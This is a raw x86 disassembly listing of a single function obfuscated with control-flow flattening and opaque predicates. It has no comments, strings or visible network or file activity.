mov edi, 0x71957a35
mov ebx, 0x967c5adc
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x967c5adc
jmp 0x4016a7
mov ecx, 0x4300bd54
jmp 0x4016c0
mov ecx, 0x985d0c6f
jmp 0x4016c0
mov eax, dword [ebp - 0x4761c]
mov ecx, 0x5e15d81d
mov dword [ebp - 0x476bc], eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x7cee809
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x9489b37d
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
mov edi, dword [ebp - 0x476a8]
cmp eax, 0xa
cmovge ecx, edx
mov dword [ebp - 0x477bc], edi
jmp 0x4016c0
mov eax, dword [ebp - 0x47670]
mov ecx, 0x4d0288de
lea eax, [eax + eax*4]
shl eax, 3
add eax, dword [ebp - 0x47738]
mov dword [ebp - 0x4773c], eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x2d22edd6
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xbd4e67c3
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47634]
cmovge ecx, ebx
mov eax, dword [eax]
mov edx, dword [ebp - 0x47624]
mov edx, dword [edx]
cmp dword [eax + edx*4], 0
setne byte [ebp - 0x4764a]
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x45d20e85
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x48bccb34
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov edx, dword [ebp - 0x47658]
mov dword [ebp - 0x4766c], edx
jmp 0x4016c0
mov eax, dword [ebp - 0x476c8]
mov eax, dword [0x4af428]
mov edi, 0xb3fcf2bf
mov ebx, 0xed41063
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xed41063
jmp 0x4016a7
mov ecx, 0x9528160
jmp 0x4016c0
mov ecx, 0x5ee3c5d6
jmp 0x4016c0
mov ecx, 0xd6e59c93
jmp 0x4016c0
mov eax, dword [ebp - 0x476f4]
mov ecx, 0xcd8b1245
mov dword [ebp - 0x47758], eax
jmp 0x4016c0
mov eax, dword [ebp - 0x476c8]
mov ecx, 0xe21c9736
jmp 0x4016c0
mov eax, dword [ebp - 0x47630]
mov ecx, 0xf8570cdf
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4779c], eax
jmp 0x4016c0
mov ecx, 0xa535a42a
jmp 0x4016c0
mov eax, dword [ebp - 0x47628]
mov eax, dword [ebp - 0x47620]
mov ecx, 0x5be45ac1
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x1c3f698e
mov dword [ebp - 0x4768c], 0
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa7a06694
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
jmp 0x4016c0
mov ecx, 0x3e47905f
jmp 0x4016c0
mov eax, dword [ebp - 0x4761c]
mov dword [ebp - 0x47744], esi
mov ecx, 0xa8e00042
add eax, 0x18
mov dword [ebp - 0x47748], eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0xf9225520
mov ebx, 0xdb364e59
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xdb364e59
jmp 0x4016a7
mov ecx, 0x3205baf0
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0xa82afb72
mov ebx, 0x77548222
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x77548222
jmp 0x4016a7
cmp dword [ebp - 0x476b0], 0
mov ecx, 0xceda333a
mov eax, 0xd1562773
cmove ecx, eax
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xca0f8686
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x73d707a9
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
mov edi, dword [ebp - 0x47644]
cmp eax, 0xa
cmovge ecx, edx
mov edx, edi
xor edx, 0xdfffffff
test edx, edi
setne byte [ebp - 0x47652]
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xe9edcad0
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x846a9f3c
jmp 0x405a2c
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x890c2223
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf6103c5a
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47620]
cmovge ecx, edx
mov eax, dword [eax]
mov dword [ebp - 0x477ac], eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47624]
mov eax, dword [0x4af428]
mov ebx, 0xd53336e3
mov edi, 0xb2dcbab2
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xb2dcbab2
sete al
cmove ecx, ebx
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
jmp 0x4016c0
mov ecx, 0xa314e992
jmp 0x4016c0
mov ecx, 0x21c00fcd
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x79ecc2e4
mov ebx, 0x956787d1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x956787d1
jmp 0x4016a7
mov eax, dword [ebp - 0x4773c]
push dword [eax + 0x10]
push dword [ebp - 0x47734]
push dword [ebp - 0x47730]
vzeroupper
call fcn.0043f350
add esp, 0xc
mov ecx, 0xfa10c316
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x5c008e40
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xf5cacca4
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, ebx
jmp 0x4016c0
mov eax, dword [ebp - 0x4765c]
mov ecx, 0x9c9eb6fd
mov eax, dword [eax]
mov dword [ebp - 0x4776c], eax
jmp 0x4016c0
cmp ecx, 0x7cee809
jne 0x4016c0
mov esi, dword [ebp - 0x477bc]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043c4a0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret